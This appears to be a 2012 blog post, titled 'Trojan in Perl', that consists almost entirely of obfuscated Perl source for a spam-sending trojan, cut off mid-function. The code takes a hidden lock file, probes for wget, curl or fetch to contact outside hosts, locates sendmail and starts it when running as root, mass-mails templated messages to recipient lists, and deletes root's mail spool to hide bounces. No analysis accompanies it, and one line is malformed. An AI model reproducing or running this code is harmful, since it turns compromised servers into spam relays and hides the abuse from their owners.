Sunday, September 30, 2012

Trojan in Perl

#!/usr/bin/perl

use strict;
use Socket;
use CGI;
srand( time ^ $$ ^ unpack "%L*", `ps axww | gzip` );
$SIG{PIPE} = sub { die "Broken pipe" };
$ENV{PATH} =
  $ENV{PATH} . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin";
my $i5mk = ( $< == 0 );
my $ha3c = ( ( getpwuid($>) )[0] );
my $b57i = 0;
$b57i = length( $ARGV[0] ) if ( $ARGV[0] =~ /^ +$/ );
my $k2df = int( rand(2147483647) );
my ( $ii1p, $g651, $ed90 );
my $cnik = 443;
my $id8k = "/b/index.php";
my $jdpm = '/tmp/...';
my $h8h1 = 0;
my $f377 = 0;
my $h788 = 0;
my $d1m7 = 0;
my $cnon = 0;
my $iocp = 0;
my $c84a = 50;
my $p    = "1234567890";
my $ch4p;
my $jdmk = "sendmail";
my $c1eh;
my $k1a3;
my %cmp4;
my $h7on = 27;
$cmp4{'d_v'}  = $h7on;
$cmp4{'d_w'}  = $ha3c;
$cmp4{'d_rb'} = $b57i;
$cmp4{'d_pi'} = $$;
$cmp4{'d_iv'} = $];
sub aam { print '[' . localtime() . '] '; print @_; }

sub aah {
    return 0 if !open( SIGNFH, ">$jdpm" );
    return 0 if !flock( SIGNFH, 2 | 4 );
    return 1;
}

sub aap {
    my $eaoo = shift;
    my $in7h = shift;
    my $gle5 = shift;
    my $kf33 = shift;
    my $k65l = shift;
    my $hhoe = $eaoo->{'name'};
    my $j9ej = $eaoo->{'addr'};
    my $feib = ab2(4);
    $kf33 =~ s/\[\[firstname\]\]/$hhoe/g;
    $kf33 =~ s/\[\[id\]\]/$j9ej/g;
    $kf33 =~ s/\[\[count\]\]/$k65l/g;
    $kf33 =~ s/\[\[rand\]\]/$feib/g;
    $gle5 =~ s/\[\[firstname\]\]/$hhoe/g;
    $gle5 =~ s/\[\[id\]\]/$j9ej/g;
    $gle5 =~ s/\[\[count\]\]/$k65l/g;
    $gle5 =~ s/\[\[rand\]\]/$feib/g;
    my $ip30 =
        "From: $in7h|To: "
      . ( $hhoe ? "\"$hhoe\" <$j9ej>" : "$j9ej" )
      . "|Subject: $gle5";
    eval {
        open SENDMAIL, "| $jdmk -t";
        print SENDMAIL "From: $in7h\n";
        print SENDMAIL "To: "
          . ( $hhoe ? "\"$hhoe\" <$j9ej>" : "$j9ej" ) . "\n";
        print SENDMAIL "Subject: $gle5\n";
        print SENDMAIL "$kf33";
        close SENDMAIL;
    };
    if ($@) { my $cka4 = $@; chomp $cka4; return 0; }
    return 1;
}

sub aak {
    my $k811 = shift;
    my $jjho = shift;
    my @iheh = @$jjho;
    my $in7h = shift @iheh;
    my $gle5 = shift @iheh;
    my $kf33;
    while ( scalar(@iheh) ) {
        my $kh8m = shift @iheh;
        if ( $kh8m eq $k811 ) { last; }
        $kf33 .= $kh8m . "\n";
    }
    my @ag4c;
    while ( scalar(@iheh) ) {
        my $eaoo = {};
        my $kh8m = shift @iheh;
        if ( $kh8m =~ /^(.*)\t(.+)$/ ) {
            $eaoo->{'addr'} = $2;
            $eaoo->{'name'} = $1;
        }
        else { $eaoo->{'addr'} = $kh8m; }
        push @ag4c, $eaoo if ( $eaoo->{'addr'} );
    }
    for ( my $i = 0 ; $i < scalar(@ag4c) ; ) {
        if   ( aap( $ag4c[$i], $in7h, $gle5, $kf33, $i ) ) { $h788++; $d1m7++; }
        else                                               { $cnon++; $iocp++; }
        $i++;
    }
    if ($i5mk) {
`rm -f  /var/mail/root /var/spool/mail/root /var/mail/mail /var/spool/mail/mail`;
    }
    `rm -f ~/dead.letter`;
}

sub aae {
    my $c056 = sprintf(
        $k1a3 . " | grep -ci '        "https://accounts.google.com/ServiceLogin?service=mail"
    );
    my ($ieha) = `$c056`;
    chomp $ieha;
    return $ieha;
}

sub ab7 {
    if ( $c1eh eq "wget" ) {
        my ($d4o0) =
`wget --version | head -n1 | grep -o "\\.[0-9]*" | grep -o "[0-9]*\$"`;
        chomp $d4o0;
        $d4o0 = int($d4o0);
        $k1a3 = "wget -q -O - -t 1 -T 60 ";
        $k1a3 .= "--no-check-certificate " if ( $d4o0 > 9 );
        $k1a3 .= '"%s"';
    }
    elsif ( $c1eh eq "curl" )  { $k1a3 = 'curl -s -k --max-time 60 "%s"'; }
    elsif ( $c1eh eq "fetch" ) { $k1a3 = 'fetch -T 60 -q -o - "%s"'; }
}

sub ab0 {
    my @kh24 = ( 'wget', 'curl', 'fetch' );
    undef $c1eh;
    foreach my $jjaj (@kh24) {
        if ($ch4p) { my $c31k = `which $jjaj`; next if ( $c31k !~ /^\// ); }
        $c1eh = $jjaj;
        ab7();
        if ( !aae() ) { undef $c1eh; next; }
        last;
    }
    if ( !$c1eh ) { $c1eh = "wget"; ab7(); }
    $cmp4{'d_br'} = $c1eh;
}
my $jf8c = 0;

sub ab5 {
    return if ( time() - $jf8c < 3600 );
    $jf8c = time();
    $ch4p = `which which | grep -v alias | sed -e 's/^[[:space:]]*//'`;
    ab0();
    ab1();
    my $d2fa =
`ps -xo command | grep -v grep | grep postfix/master | wc -l | sed -e 's/^[[:space:]]*//'`;
    chomp $d2fa;
    if ($d2fa) {
        $cmp4{'d_ma'} = 'postfix';
        if ($ch4p) {
            $d2fa = `which sendmail.postfix`;
            chomp $d2fa;
            $jdmk = $d2fa if ( $d2fa =~ /^\/.*aap.postfix$/ );
        }
    }
    else {
        $cmp4{'d_ma'} = 'sendmail';
        if ($i5mk) {
            my $k648 = `service sendmail status`;
            chomp $k648;
            if ( $k648 =~ /^aap is stopped/ ) { `service sendmail start`; }
        }
    }
    $cmp4{'d_mc'} = $jdmk;
}

sub ab1 {
    my $go98 = 'sendmail';
    if ($ch4p) {
        my $c0k3 = `which $go98`;
        chomp $c0k3;
        if ( $c0k3 =~ /^(\/[^ ]+)/ ) { $jdmk = $1; return 1; }
    }
    my @i1bb = split /\n/, `locate $go98 | head -n1000`;
    push @i1bb, split /\n/,
`find /bin/ /sbin/ /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin/ -type f -or -type l | grep $go98`;
    chomp @i1bb;
    my @din4;
    foreach my $f2pe (@i1bb) {
        next if ( -d $f2pe );
        next if ( !-x $f2pe );
        next if ( $f2pe =~ /\.so$/ );
        if ( $f2pe =~ /bin\// && $f2pe =~ /$go98$/ ) {
            $jdmk = $f2pe;
            return 1;
        }
        push( @din4, $f2pe );
    }
    foreach my $f2pe

No comments: